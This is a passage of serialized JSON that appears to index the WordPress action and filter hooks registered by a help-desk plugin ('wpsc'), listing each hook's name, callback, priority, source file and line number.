file":706,"line":707},"wpsc_custom_filter_conditions","custom_filter_conditions","includes\\admin\\tickets\\class-wpsc-ticket-list.php",127,{"type":394,"name":395,"callback":709,"priority":303,"file":706,"line":710},"apply_tag_custom_filter",183,{"type":423,"name":712,"callback":713,"priority":440,"file":706,"line":714},"heartbeat_received","get_nonce_heartbeat",186,{"type":423,"name":716,"callback":717,"priority":440,"file":718,"line":28},"wpsc_individual_ticket_actions","individual_ticket_actions","includes\\admin\\tickets\\class-wpsc-ticket-restrictions-manager.php",{"type":423,"name":720,"callback":721,"priority":352,"file":718,"line":408},"wpsc_it_submit_actions","it_submit_actions",{"type":423,"name":723,"callback":724,"priority":440,"file":718,"line":411},"wpsc_it_thread_actions","it_thread_actions",{"type":394,"name":446,"callback":447,"file":726,"line":491},"includes\\admin\\tickets\\class-wpsc-tickets.php",{"type":423,"name":424,"callback":425,"file":726,"line":301},{"type":394,"name":410,"callback":453,"file":726,"line":493},{"type":394,"name":456,"callback":457,"file":726,"line":575},{"type":394,"name":731,"callback":732,"file":726,"line":530},"wpsc_js_after_ticket_reply","js_after_ticket_reply",{"type":394,"name":734,"callback":735,"file":726,"line":458},"wpsc_js_after_close_ticket","js_after_close_ticket",{"type":394,"name":737,"callback":738,"file":726,"line":477},"wpsc_before_tickets_page","show_sales_banner",{"type":394,"name":395,"callback":740,"file":741,"line":611},"ignore_cft","includes\\admin\\tickets\\widgets\\class-wpsc-itw-agentonly-fields.php",{"type":394,"name":395,"callback":740,"file":743,"line":611},"includes\\admin\\tickets\\widgets\\class-wpsc-itw-ticket-fields.php",{"type":394,"name":745,"callback":746,"file":747,"line":431},"wpsc_it_layout_section","print_tags_script","includes\\admin\\tickets\\widgets\\class-wpsc-itw-ticket-tags.php",{"type":394,"name":395,"callback":749,"file":750,"line":118},"schedule","includes\\class-wpsc-cleaner.php",{"type":394,"name":752,"callback":753,"file":750,"line":608},"wpsc_v1_upgrade_cleanup","v1_upgrade_cleanup",{"type":394,"name":755,"callback":756,"file":750,"line":611},"wpsc_v2_upgrade_cleanup","v2_upgrade_cleanup",{"type":423,"name":758,"callback":759,"file":760,"line":408},"cron_schedules","custom_interval","includes\\class-wpsc-cron.php",{"type":394,"name":395,"callback":762,"file":760,"line":118},"schedule_events",{"type":394,"name":764,"callback":765,"file":760,"line":608},"wpsc_auto_archive_closed_tickets","auto_archive_closed_tickets",{"type":394,"name":767,"callback":768,"file":760,"line":611},"wpsc_permanently_delete_archive_tickets","permanently_delete_archive_tickets",{"type":394,"name":770,"callback":771,"file":760,"line":419},"wpsc_permanently_delete_tickets","permanently_delete_tickets",{"type":394,"name":395,"callback":773,"file":774,"line":775},"load_current_user","includes\\class-wpsc-current-user.php",87,{"type":423,"name":777,"callback":778,"file":774,"line":779},"wpsc_email_notification_page_sections","registration_email_template_section",104,{"type":423,"name":777,"callback":781,"file":774,"line":782},"guest_login_email_template_section",107,{"type":394,"name":395,"callback":784,"priority":313,"file":785,"line":352},"block_emails_list","includes\\class-wpsc-email-notifications.php",{"type":394,"name":787,"callback":788,"file":785,"line":303},"wpsc_cron_five_minute","send_background_emails",{"type":394,"name":790,"callback":788,"file":785,"line":791},"wpsc_run_ajax_background_process",101,{"type":394,"name":395,"callback":793,"priority":49,"file":794,"line":416},"load_ref_classes","includes\\class-wpsc-functions.php",{"type":394,"name":395,"callback":796,"file":797,"line":608},"load_icons","includes\\class-wpsc-icons.php",{"type":394,"name":549,"callback":799,"priority":440,"file":800,"line":408},"change_status","includes\\class-wpsc-logger.php",{"type":394,"name":540,"callback":802,"priority":440,"file":800,"line":411},"change_category",{"type":394,"name":546,"callback":804,"priority":440,"file":800,"line":341},"change_priority",{"type":394,"name":517,"callback":806,"priority":440,"file":800,"line":118},"change_raised_by",{"type":394,"name":524,"callback":808,"priority":440,"file":800,"line":414},"change_assignee",{"type":394,"name":543,"callback":810,"priority":440,"file":800,"line":416},"change_custom_fields",{"type":394,"name":537,"callback":810,"priority":440,"file":800,"line":608},{"type":394,"name":813,"callback":814,"priority":440,"file":800,"line":611},"wpsc_change_ticket_add_recipients","change_add_recipients",{"type":394,"name":552,"callback":816,"priority":440,"file":800,"line":419},"change_subject",{"type":394,"name":818,"callback":819,"priority":440,"file":800,"line":421},"wpsc_change_ticket_rating","change_rating",{"type":394,"name":821,"callback":822,"priority":440,"file":800,"line":823},"wpsc_change_usergroup","change_usergroup",28,{"type":394,"name":395,"callback":825,"priority":826,"file":827,"line":579},"load_macros",12,"includes\\class-wpsc-macros.php",{"type":423,"name":829,"callback":773,"priority":303,"file":830,"line":611},"rest_authentication_errors","includes\\class-wpsc-rest-api.php",{"type":394,"name":832,"callback":833,"file":830,"line":419},"rest_api_init","register_routes",{"type":394,"name":395,"callback":749,"file":835,"line":118},"includes\\class-wpsc-task-scheduler.php",{"type":394,"name":837,"callback":838,"file":835,"line":414},"wpsc_execute_scheduled_task","execute_scheduled_task",{"type":394,"name":840,"callback":841,"file":835,"line":611},"admin_notices","show_manual_notice",{"type":394,"name":395,"callback":843,"file":844,"line":428},"load_ticket_conditions","includes\\class-wpsc-ticket-conditions.php",{"type":394,"name":395,"callback":846,"file":844,"line":301},"set_ignore_cft_list",{"type":394,"name":446,"callback":848,"file":849,"line":850},"register_strings","includes\\class-wpsc-translations.php",14,{"type":394,"name":395,"callback":852,"file":853,"line":608},"load_triggers","includes\\class-wpsc-triggers.php",{"type":423,"name":855,"callback":856,"file":857,"line":858},"wpsc_load_ref_classes","load_ref_class","includes\\custom-field-types\\class-wpsc-cf-checkbox.php",165,{"type":423,"name":860,"callback":861,"priority":343,"file":857,"line":862},"wpsc_cf_types","add_cf_type",168,{"type":394,"name":643,"callback":644,"file":857,"line":864},171,{"type":423,"name":866,"callback":867,"priority":440,"file":857,"line":868},"wpsc_create_ticket_data","set_create_ticket_data",172,{"type":394,"name":870,"callback":871,"file":857,"line":872},"wpsc_js_clear_value_hidden_fields","js_clear_value_hidden_fields",173,{"type":423,"name":874,"callback":875,"priority":440,"file":857,"line":876},"wpsc_rest_create_ticket","set_rest_ticket_data",176,{"type":423,"name":878,"callback":879,"priority":440,"file":857,"line":880},"wpsc_ticket_search","ticket_search",179,{"type":423,"name":882,"callback":879,"priority":440,"file":857,"line":883},"wpsc_archive_ticket_search",180,{"type":423,"name":855,"callback":856,"file":885,"line":858},"includes\\custom-field-types\\class-wpsc-cf-date.php",{"type":423,"name":860,"callback":861,"priority":162,"file":885,"line":862},{"type":394,"name":643,"callback":644,"file":885,"line":864},{"type":423,"name":866,"callback":867,"priority":440,"file":885,"line":868},{"type":394,"name":870,"callback":871,"file":885,"line":872},{"type":423,"name":874,"callback":875,"priority":440,"file":885,"line":876},{"type":423,"name":855,"callback":856,"file":892,"line":858},"includes\\custom-field-types\\class-wpsc-cf-datetime.php",{"type":423,"name":860,"callback":861,"priority":388,"file":892,"line":862},{"type":394,"name":643,"callback":644,"file":892,"line":864},{"type":423,"name":866,"callback":867,"priority":440,"file":892,"line":868},{"type":394,"name":870,"callback":871,"file":892,"line":872},{"type":423,"name":874,"callback":875,"priority":440,"file":892,"line":876},{"type":423,"name":855,"callback":856,"file":899,"line":858},"includes\\custom-field-types\\class-wpsc-cf-email.php",{"type":423,"name":860,"callback":861,"priority":656,"file":899,"line":862},{"type":394,"name":643,"callback":644,"file":899,"line":864},{"type":423,"name":866,"callback":867,"priority":440,"file":899,"line":868},{"type":394,"name":870,"callback":871,"file":899,"line":872},{"type":423,"name":874,"callback":875,"priority":440,"file":899,"line":876},{"type":423,"name":878,"callback":879,"priority":440,"file":899,"line":880},{"type":423,"name":882,"callback":879,"priority":440,"file":899,"line":883},{"type":423,"name":855,"callback":856,"file":908,"line":858},"includes\\custom-field-types\\class-wpsc-cf-file-attachment-multiple.php",{"type":423,"name":860,"callback":861,"priority":910,"file":908,"line":862},13,{"type":394,"name":643,"callback":644,"file":908,"line":864},{"type":423,"name":866,"callback":867,"priority":440,"file":908,"line":868},{"type":423,"name":874,"callback":875,"priority":440,"file":908,"line":914},175,{"type":423,"name":878,"callback":879,"priority":440,"file":908,"line":916},178,{"type":423,"name":882,"callback":879,"priority":440,"file":908,"line":880},{"type":394,"name":504,"callback":919,"priority":49,"file":908,"line":920},"add_attachment_ticket_id",182,{"type":423,"name":855,"callback":856,"file":922,"line":858},"includes\\custom-field-types\\class-wpsc-cf-file-attachment-single.php",{"type":423,"name":860,"callback":861,"priority":910,"file":922,"line":862},{"type":394,"name":643,"callback":644,"file":922,"line":864},{"type":423,"name":866,"callback":867,"priority":440,"file":922,"line":868},{"type":423,"name":874,"callback":875,"priority":440,"file":922,"line":914},{"type":394,"name":504,"callback":919,"priority":49,"file":922,"line":916},{"type":423,"name":878,"callback":879,"priority":440,"file":922,"line":929},181,{"type":423,"name":882,"callback":879,"priority":440,"file":922,"line":920},{"type":423,"name":855,"callback":856,"file":932,"line":858},"includes\\custom-field-types\\class-wpsc-cf-html.php",{"type":423,"name":860,"callback":861,"priority":826,"file":932,"line":862},{"type":423,"name":935,"callback":936,"file":932,"line":864},"wpsc_it_widget_exclude_cft","exclude_wdget_cft",{"type":423,"name":855,"callback":856,"file":938,"line":858},"includes\\custom-field-types\\class-wpsc-cf-multi-select.php",{"type":423,"name":860,"callback":861,"priority":304,"file":938,"line":862},{"type":394,"name":643,"callback":644,"file":938,"line":864},{"type":423,"name":866,"callback":867,"priority":440,"file":938,"line":868},{"type":394,"name":870,"callback":871,"file":938,"line":872},{"type":423,"name":874,"callback":875,"priority":440,"file":938,"line":876},{"type":423,"name":878,"callback":879,"priority":440,"file":938,"line":880},{"type":423,"name":882,"callback":879,"priority":440,"file":938,"line":883},{"type":423,"name":855,"callback":856,"file":947,"line":858},"includes\\custom-field-types\\class-wpsc-cf-number.php",{"type":423,"name":860,"callback":861,"priority":95,"file":947,"line":862},{"type":394,"name":950,"callback":951,"file":947,"line":864},"wpsc-js-add-new-cft-change","js_cft_change",{"type":394,"name":643,"callback":644,"file":947,"line":953},174,{"type":423,"name":866,"callback":867,"priority":440,"file":947,"line":914},{"type":394,"name":870,"callback":871,"file":947,"line":876},{"type":423,"name":874,"callback":875,"priority":440,"file":947,"line":880},{"type":423,"name":878,"callback":879,"priority":440,"file":947,"line":920},{"type":423,"name":882,"callback":879,"priority":440,"file":947,"line":710},{"type":423,"name":855,"callback":856,"file":960,"line":858},"includes\\custom-field-types\\class-wpsc-cf-radio-button.php",{"type":423,"name":860,"callback":861,"priority":53,"file":960,"line":862},{"type":394,"name":643,"callback":644,"file":960,"line":864},{"type":423,"name":866,"callback":867,"priority":440,"file":960,"line":868},{"type":423,"name":878,"callback":879,"priority":440,"file":960,"line":872},{"type":423,"name":882,"callback":879,"priority":440,"file":960,"line":953},{"type":394,"name":870,"callback":871,"file":960,"line":914},{"type":423,"name":874,"callback":875,"priority":440,"file":960,"line":916},{"type":423,"name":969,"callback":970,"priority":656,"file":960,"line":929},"wpsc_ticket_joins","ticket_join",{"type":423,"name":972,"callback":970,"priority":656,"file":960,"line":920},"wpsc_archive_ticket_joins",{"type":423,"name":855,"callback":856,"file":974,"line":858},"includes\\custom-field-types\\class-wpsc-cf-single-select.php",{"type":423,"name":860,"callback":861,"priority":304,"file":974,"line":862},{"type":394,"name":643,"callback":644,"file":974,"line":864},{"type":423,"name":866,"callback":867,"priority":440,"file":974,"line":868},{"type":394,"name":870,"callback":871,"file":974,"line":872},{"type":423,"name":874,"callback":875,"priority":440,"file":974,"line":876},{"type":423,"name":969,"callback":970,"priority":656,"file":974,"line":880},{"type":423,"name":972,"callback":970,"priority":656,"file":974,"line":883},{"type":423,"name":878,"callback":879,"priority":440,"file":974,"line":710},{"type":423,"name":882,"callback":879,"priority":440,"file":974,"line":984},184,{"type":423,"name":855,"callback":856,"file":986,"line":858},"includes\\custom-field-types\\class-wpsc-cf-text-field.php",{"type":423,"name":860,"callback":861,"priority":49,"file":986,"line":862},{"type":394,"name":643,"callback":644,"file":986,"line":864},{"type":423,"name":866,"callback":867,"priority":440,"file":986,"line":868},{"type":394,"name":870,"callback":871,"file":986,"line":872},{"type":423,"name":874,"callback":875,"priority":440,"file":986,"line":876},{"type":423,"name":878,"callback":879,"priority":440,"file":986,"line":880},{"type":423,"name":882,"callback":879,"priority":440,"file":986,"line":883},{"type":423,"name":855,"callback":856,"file":995,"line":858},"includes\\custom-field-types\\class-wpsc-cf-textarea.php",{"type":423,"name":860,"callback":861,"priority":997,"file":995,"line":862},5,{"type":394,"name":643,"callback":644,"file":995,"line":864},{"type":423,"name":866,"callback":867,"priority":440,"file":995,"line":868},{"type":394,"name":870,"callback":871,"file":995,"line":872},{"type":423,"name":874,"callback":875,"priority":440,"file":995,"line":876},{"type":423,"name":878,"callback":879,"priority":440,"file":995,"line":880},{"type":423,"name":882,"callback":879,"priority":440,"file":995,"line":883},{"type":423,"name":855,"callback":856,"file":1005,"line":858},"includes\\custom-field-types\\class-wpsc-cf-time.php",{"type":423,"name":860,"callback":861,"priority":313,"file":1005,"line":862},{"type":394,"name":643,"callback":644,"file":1005,"line":864},{"type":423,"name":866,"callback":867,"priority":440,"file":1005,"line":868},{"type":394,"name":870,"callback":871,"file":1005,"line":872},{"type":423,"name":874,"callback":875,"priority":440,"file":1005,"line":876},{"type":423,"name":855,"callback":856,"file":1012,"line":858},"includes\\custom-field-types\\class-wpsc-cf-url.php",{"type":423,"name":860,"callback":861,"priority":440,"file":1012,"line":862},{"type":394,"name":643,"callback":644,"file":1012,"line":864},{"type":423,"name":866,"callback":867,"priority":440,"file":1012,"line":868},{"type":394,"name":870,"callback":871,"file":1012,"line":872},{"type":423,"name":874,"callback":875,"priority":440,"file":1012,"line":876},{"type":423,"name":878,"callback":879,"priority":440,"file":1012,"line":880},{"type":423,"name":882,"callback":879,"priority":440,"file":1012,"line":883},{"type":423,"name":855,"callback":856,"file":1021,"line":858},"includes\\custom-field-types\\class-wpsc-df-additional-recipients.php",{"type":423,"name":878,"callback":879,"priority":440,"file":1021,"line":862},{"type":423,"name":882,"callback":879,"priority":440,"file":1021,"line":1024},169,{"type":394,"name":643,"callback":644,"file":1021,"line":868},{"type":423,"name":866,"callback":867,"priority":440,"file":1021,"line":872},{"type":394,"name":870,"callback":871,"file":1021,"line":953},{"type":423,"name":874,"callback":875,"priority":440,"file":1021,"line":1029},177,{"type":423,"name":855,"callback":856,"file":1031,"line":858},"includes\\custom-field-types\\class-wpsc-df-agent-created.php",{"type":423,"name":866,"callback":867,"priority":997,"file":1031,"line":862},{"type":423,"name":874,"callback":875,"priority":304,"file":1031,"line":864},{"type":423,"name":1035,"callback":1036,"file":1031,"line":916},"wpsc_rest_prevent_ticket_data","rest_prevent_ticket_data",{"type":423,"name":855,"callback":856,"file":1038,"line":858},"includes\\custom-field-types\\class-wpsc-df-assigned-agent.php",{"type":394,"name":1040,"callback":1041,"file":1038,"line":862},"wpsc_get_add_new_tff","get_add_new_tff",{"type":394,"name":1043,"callback":1044,"file":1038,"line":1024},"wpsc_jse_add_tff_change_field","js_add_tff_change",{"type":423,"name":1046,"callback":1047,"priority":440,"file":1038,"line":1048},"wpsc_tff_add_new","set_add_new_tff",170,{"type":394,"name":1050,"callback":1051,"priority":440,"file":1038,"line":864},"wpsc_get_edit_tff","get_edit_tff",{"type":423,"name":1053,"callback":1054,"priority":440,"file":1038,"line":868},"wpsc_set_edit_tff","set_edit_tff",{"type":394,"name":643,"callback":644,"file":1038,"line":914},{"type":423,"name":866,"callback":867,"priority":440,"file":1038,"line":876},{"type":394,"name":870,"callback":871,"file":1038,"line":1029},{"type":423,"name":874,"callback":875,"priority":440,"file":1038,"line":883},{"type":394,"name":504,"callback":1060,"file":1038,"line":710},"assign_default_agent",{"type":423,"name":1035,"callback":1036,"file":1038,"line":1062},194,{"type":423,"name":855,"callback":856,"file":1064,"line":858},"includes\\custom-field-types\\class-wpsc-df-browser.php",{"type":394,"name":866,"callback":867,"priority":440,"file":1064,"line":862},{"type":423,"name":855,"callback":856,"file":1067,"line":858},"includes\\custom-field-types\\class-wpsc-df-category.php",{"type":394,"name":643,"callback":644,"file":1067,"line":862},{"type":423,"name":866,"callback":867,"priority":440,"file":1067,"line":1024},{"type":394,"name":870,"callback":871,"file":1067,"line":1048},{"type":423,"name":874,"callback":875,"priority":440,"file":1067,"line":872},{"type":423,"name":969,"callback":970,"priority":440,"file":1067,"line":876},{"type":423,"name":972,"callback":970,"priority":440,"file":1067,"line":1029},{"type":423,"name":855,"callback":856,"file":1075,"line":1076},"includes\\custom-field-types\\class-wpsc-df-customer-email.php",166,{"type":394,"name":643,"callback":644,"file":1075,"line":1024},{"type":423,"name":855,"callback":856,"file":1079,"line":858},"includes\\custom-field-types\\class-wpsc-df-customer-name.php",{"type":394,"name":643,"callback":644,"file":1079,"line":862},{"type":423,"name":855,"callback":856,"file":1082,"line":868},"includes\\custom-field-types\\class-wpsc-df-customer.php",{"type":423,"name":866,"callback":867,"priority":162,"file":1082,"line":914},{"type":423,"name":874,"callback":875,"priority":49,"file":1082,"line":916},{"type":423,"name":969,"callback":970,"priority":95,"file":1082,"line":929},{"type":423,"name":972,"callback":970,"priority":95,"file":1082,"line":920},{"type":423,"name":878,"callback":879,"priority":440,"file":1082,"line":1088},185,{"type":423,"name":882,"callback":879,"priority":440,"file":1082,"line":714},{"type":394,"name":395,"callback":1091,"file":1082,"line":1092},"ignore_customer_info_cft",189,{"type":423,"name":855,"callback":856,"file":1094,"line":858},"includes\\custom-field-types\\class-wpsc-df-date-closed.php",{"type":423,"name":855,"callback":856,"file":1096,"line":858},"includes\\custom-field-types\\class-wpsc-df-date-created.php",{"type":423,"name":866,"callback":867,"priority":440,"file":1096,"line":862},{"type":423,"name":874,"callback":875,"priority":440,"file":1096,"line":864},{"type":423,"name":855,"callback":856,"file":1100,"line":858},"includes\\custom-field-types\\class-wpsc-df-date-updated.php",{"type":423,"name":866,"callback":867,"priority":440,"file":1100,"line":862},{"type":423,"name":874,"callback":875,"priority":440,"file":1100,"line":864},{"type":423,"name":855,"callback":856,"file":1104,"line":1105},"includes\\custom-field-types\\class-wpsc-df-description.php",159,{"type":394,"name":643,"callback":644,"file":1104,"line":1107},162,{"type":394,"name":1109,"callback":1110,"file":1104,"line":1111},"wpsc_js_create_ticket_formdata","js_create_ticket_formdata",163,{"type":394,"name":870,"callback":871,"file":1104,"line":1113},164,{"type":423,"name":866,"callback":867,"priority":440,"file":1104,"line":1115},167,{"type":423,"name":874,"callback":875,"priority":440,"file":1104,"line":1048},{"type":394,"name":504,"callback":919,"priority":49,"file":1104,"line":872},{"type":423,"name":855,"callback":856,"file":1119,"line":858},"includes\\custom-field-types\\class-wpsc-df-id.php",{"type":423,"name":878,"callback":879,"priority":440,"file":1119,"line":862},{"type":423,"name":882,"callback":879,"priority":440,"file":1119,"line":1024},{"type":423,"name":855,"callback":856,"file":1123,"line":858},"includes\\custom-field-types\\class-wpsc-df-ip-address.php",{"type":423,"name":866,"callback":867,"priority":440,"file":1123,"line":862},{"type":423,"name":874,"callback":875,"priority":440,"file":1123,"line":864},{"type":423,"name":855,"callback":856,"file":1127,"line":858},"includes\\custom-field-types\\class-wpsc-df-last-reply-by.php",{"type":423,"name":855,"callback":856,"file":1129,"line":858},"includes\\custom-field-types\\class-wpsc-df-last-reply-on.php",{"type":423,"name":855,"callback":856,"file":1131,"line":868},"includes\\custom-field-types\\class-wpsc-df-last-reply-source.php",{"type":423,"name":866,"callback":867,"priority":440,"file":1131,"line":914},{"type":423,"name":874,"callback":875,"priority":440,"file":1131,"line":916},{"type":394,"name":395,"callback":1135,"file":1131,"line":929},"load_last_reply_sources",{"type":423,"name":855,"callback":856,"file":1137,"line":858},"includes\\custom-field-types\\class-wpsc-df-os.php",{"type":423,"name":866,"callback":867,"priority":440,"file":1137,"line":862},{"type":423,"name":855,"callback":856,"file":1140,"line":858},"includes\\custom-field-types\\class-wpsc-df-prev-assignee.php",{"type":423,"name":1035,"callback":1036,"file":1140,"line":868},{"type":423,"name":855,"callback":856,"file":1143,"line":858},"includes\\custom-field-types\\class-wpsc-df-priority.php",{"type":394,"name":643,"callback":644,"file":1143,"line":862},{"type":423,"name":866,"callback":867,"priority":440,"file":1143,"line":1024},{"type":394,"name":870,"callback":871,"file":1143,"line":1048},{"type":423,"name":874,"callback":875,"priority":440,"file":1143,"line":872},{"type":423,"name":969,"callback":970,"priority":440,"file":1143,"line":876},{"type":423,"name":972,"callback":970,"priority":440,"file":1143,"line":1029},{"type":423,"name":1035,"callback":1036,"file":1143,"line":883},{"type":423,"name":855,"callback":856,"file":1152,"line":868},"includes\\custom-field-types\\class-wpsc-df-source.php",{"type":423,"name":866,"callback":867,"priority":440,"file":1152,"line":914},{"type":423,"name":874,"callback":875,"priority":440,"file":1152,"line":916},{"type":394,"name":395,"callback":1156,"file":1152,"line":929},"load_sources",{"type":423,"name":855,"callback":856,"file":1158,"line":858},"includes\\custom-field-types\\class-wpsc-df-status.php",{"type":423,"name":866,"callback":867,"priority":440,"file":1158,"line":862},{"type":423,"name":874,"callback":875,"priority":440,"file":1158,"line":864},{"type":423,"name":969,"callback":970,"priority":440,"file":1158,"line":953},{"type":423,"name":972,"callback":970,"priority":440,"file":1158,"line":914},{"type":423,"name":855,"callback":856,"file":1164,"line":858},"includes\\custom-field-types\\class-wpsc-df-subject.php",{"type":394,"name":643,"callback":644,"file":1164,"line":862},{"type":423,"name":866,"callback":867,"priority":440,"file":1164,"line":1024},{"type":394,"name":870,"callback":871,"file":1164,"line":1048},{"type":423,"name":874,"callback":875,"priority":440,"file":1164,"line":872},{"type":423,"name":878,"callback":879,"priority":440,"file":1164,"line":920},{"type":423,"name":882,"callback":879,"priority":440,"file":1164,"line":710},{"type":423,"name":855,"callback":856,"file":1172,"line":858},"includes\\custom-field-types\\class-wpsc-df-tags.php",{"type":423,"name":878,"callback":879,"priority":440,"file":1172,"line":862},{"type":423,"name":882,"callback":879,"priority":440,"file":1172,"line":1024},{"type":423,"name":855,"callback":856,"file":1176,"line":858},"includes\\custom-field-types\\class-wpsc-df-user-type.php",{"type":423,"name":866,"callback":867,"priority":440,"file":1176,"line":862},{"type":423,"name":874,"callback":875,"priority":440,"file":1176,"line":864},{"type":394,"name":443,"callback":444,"priority":313,"file":1176,"line":953},{"type":394,"name":438,"callback":439,"priority":440,"file":1176,"line":914},{"type":423,"name":1182,"callback":1183,"file":1184,"line":1185},"pre_set_site_transient_update_plugins","check_update","includes\\EDD_SL_Plugin_Updater.php",75,{"type":423,"name":1187,"callback":1188,"priority":440,"file":1184,"line":27},"plugins_api","plugins_api_filter",{"type":394,"name":1190,"callback":1191,"priority":440,"file":1184,"line":1192},"after_plugin_row","show_update_notification",77,{"type":394,"name":446,"callback":1194,"file":1184,"line":1195},"show_changelog",78,{"type":394,"name":1197,"callback":461,"file":1198,"line":1199},"wp_enqueue_scripts","includes\\frontend\\class-wpsc-frontend.php",16,{"type":394,"name":395,"callback":1201,"file":1198,"line":411},"ticket_url_redirect",{"type":394,"name":456,"callback":457,"file":1203,"line":451},"includes\\frontend\\class-wpsc-shortcode-five.php",{"type":394,"name":395,"callback":447,"priority":303,"file":1205,"line":526},"includes\\frontend\\class-wpsc-shortcode-one.php",{"type":423,"name":427,"callback":425,"file":1205,"line":1207},50,{"type":394,"name":456,"callback":457,"file":1205,"line":13},{"type":394,"name":731,"callback":732,"file":1205,"line":352},{"type":394,"name":734,"callback":735,"file":1205,"line":303},{"type":394,"name":405,"callback":453,"file":1205,"line":791},{"type":394,"name":456,"callback":457,"file":1213,"line":530},"includes\\frontend\\class-wpsc-shortcode-six.php",{"type":394,"name":456,"callback":457,"file":1215,"line":1216},"includes\\frontend\\class-wpsc-shortcode-three.php",71,{"type":394,"name":731,"callback":732,"file":1215,"line":1218},72,{"type":394,"name":734,"callback":735,"file":1215,"line":290},{"type":394,"name":456,"callback":457,"file":1221,"line":530},"includes\\frontend\\class-wpsc-shortcode-two.php",{"type":394,"name":395,"callback":1223,"priority":304,"file":1224,"line":1225},"apply_schema","includes\\models\\class-wpsc-agent.php",53,{"type":423,"name":855,"callback":856,"file":1224,"line":1227},56,{"type":394,"name":1229,"callback":1230,"priority":440,"file":1224,"line":1231},"profile_update","agent_profile_update",59,{"type":394,"name":395,"callback":1233,"priority":518,"file":1224,"line":1234},"reset_count_check",62,{"type":394,"name":1236,"callback":1237,"file":1224,"line":378},"wpsc_reset_missing_counts","reset_missing_counts",{"type":394,"name":504,"callback":1239,"priority":1240,"file":1224,"line":312},"create_new_ticket",500,{"type":394,"name":549,"callback":799,"priority":518,"file":1224,"line":488},{"type":394,"name":524,"callback":808,"priority":518,"file":1224,"line":1218},{"type":394,"name":517,"callback":806,"priority":518,"file":1224,"line":1185},{"type":394,"name":508,"callback":1245,"priority":518,"file":1224,"line":1195},"reset_agent_unresolved_count",{"type":394,"name":510,"callback":1245,"priority":518,"file":1224,"line":1247},79,{"type":394,"name":512,"callback":1245,"priority":518,"file":1224,"line":1249},80,{"type":394,"name":514,"callback":1245,"priority":518,"file":1224,"line":1251},81,{"type":394,"name":1253,"callback":1254,"file":1224,"line":775},"wpsc_agent_role_update","agent_role_update",{"type":394,"name":395,"callback":1223,"priority":304,"file":1256,"line":575},"includes\\models\\class-wpsc-archive-thread.php",{"type":423,"name":855,"callback":856,"file":1256,"line":535},{"type":423,"name":972,"callback":970,"priority":440,"file":1256,"line":1259},52,{"type":423,"name":1261,"callback":1262,"priority":656,"file":1256,"line":1225},"wpsc_archive_ticket_where","ticket_where",{"type":423,"name":882,"callback":879,"priority":440,"file":1256,"line":477},{"type":394,"name":395,"callback":1223,"priority":53,"file":1265,"line":575},"includes\\models\\class-wpsc-archive-ticket.php",{"type":423,"name":855,"callback":856,"file":1265,"line":535},{"type":394,"name":395,"callback":1223,"priority":304,"file":1268,"line":1225},"includes\\models\\class-wpsc-attachment.php",{"type":423,"name":855,"callback":856,"file":1268,"line":1227},{"type":394,"name":395,"callback":1271,"priority":303,"file":1268,"line":488},"check_download_file",{"type":394,"name":1273,"callback":1274,"file":1268,"line":27},"wpsc_attach_garbage_collector","garbage_collector",{"type":423,"name":1276,"callback":1277,"file":1268,"line":1278},"upload_dir","wpsc_upload_dir",610,{"type":423,"name":1280,"callback":1281,"file":1268,"line":1282},"upload_mimes","wpsc_custom_upload_mimes",611,{"type":423,"name":1276,"callback":1277,"file":1268,"line":1284},1313,{"type":394,"name":395,"callback":1223,"priority":49,"file":1286,"line":575},"includes\\models\\class-wpsc-background-email.php",{"type":423,"name":855,"callback":856,"file":1286,"line":535},{"type":394,"name":395,"callback":1223,"priority":304,"file":1289,"line":1225},"includes\\models\\class-wpsc-category.php",{"type":423,"name":855,"callback":856,"file":1289,"line":1227},{"type":394,"name":395,"callback":1223,"priority":304,"file":1292,"line":1293},"includes\\models\\class-wpsc-custom-field.php",67,{"type":423,"name":855,"callback":856,"file":1292,"line":403},{"type":394,"name":395,"callback":1296,"file":1292,"line":290},"set_cf_types",{"type":394,"name":395,"callback":1223,"priority":304,"file":1298,"line":1225},"includes\\models\\class-wpsc-customer.php",{"type":423,"name":855,"callback":856,"file":1298,"line":1227},{"type":394,"name":1229,"callback":1301,"priority":440,"file":1298,"line":1231},"customer_profile_update",{"type":394,"name":443,"callback":1303,"priority":440,"file":1298,"line":1234},"register_customer",{"type":394,"name":395,"callback":1223,"priority":304,"file":1305,"line":575},"includes\\models\\class-wpsc-email-otp.php",{"type":423,"name":855,"callback":856,"file":1305,"line":535},{"type":394,"name":646,"callback":1274,"file":1305,"line":1259},{"type":394,"name":395,"callback":1223,"priority":304,"file":1309,"line":1225},"includes\\models\\class-wpsc-holiday.php",{"type":423,"name":855,"callback":856,"file":1309,"line":1227},{"type":394,"name":395,"callback":1223,"priority":304,"file":1312,"line":1225},"includes\\models\\class-wpsc-log.php",{"type":423,"name":855,"callback":856,"file":1312,"line":1227},{"type":394,"name":395,"callback":1223,"priority":304,"file":1315,"line":482},"includes\\models\\class-wpsc-option.php",{"type":423,"name":855,"callback":856,"file":1315,"line":378},{"type":394,"name":395,"callback":1223,"priority":304,"file":1318,"line":1225},"includes\\models\\class-wpsc-priority.php",{"type":423,"name":855,"callback":856,"file":1318,"line":1227},{"type":394,"name":395,"callback":1223,"priority":304,"file":1321,"line":575},"includes\\models\\class-wpsc-scheduled-task.php",{"type":423,"name":855,"callback":856,"file":1321,"line":535},{"type":394,"name":395,"callback":1223,"priority":304,"file":1324,"line":1225},"includes\\models\\class-wpsc-status.php",{"type":423,"name":855,"callback":856,"file":1324,"line":1227},{"type":394,"name":395,"callback":1223,"priority":304,"file":1327,"line":575},"includes\\models\\class-wpsc-thread.php",{"type":423,"name":855,"callback":856,"file":1327,"line":535},{"type":423,"name":969,"callback":970,"priority":440,"file":1327,"line":1259},{"type":423,"name":1331,"callback":1262,"priority":656,"file":1327,"line":1225},"wpsc_ticket_where",{"type":423,"name":878,"callback":879,"priority":440,"file":1327,"line":477},{"type":394,"name":395,"callback":1223,"priority":304,"file":1334,"line":1225},"includes\\models\\class-wpsc-ticket-tags.php",{"type":423,"name":855,"callback":856,"file":1334,"line":1227},{"type":394,"name":395,"callback":1223,"priority":304,"file":1337,"line":575},"includes\\models\\class-wpsc-ticket.php",{"type":423,"name":855,"callback":856,"file":1337,"line":535},{"type":394,"name":395,"callback":1223,"priority":304,"file":1340,"line":1225},"includes\\models\\class-wpsc-wh-exception.php",{"type":423,"name":855,"callback":856,"file":1340,"line":1227},{"type":394,"name":395,"callback":1223,"priority":304,"file":1343,"line":1225},"includes\\models\\class-wpsc-working-hour.php",{"type":423,"name":855,"callback":856,"file":1343,"line":1227},{"type":394,"name":395,"callback":1346,"file":1347,"line":608},"load_prevent_data","includes\\rest-api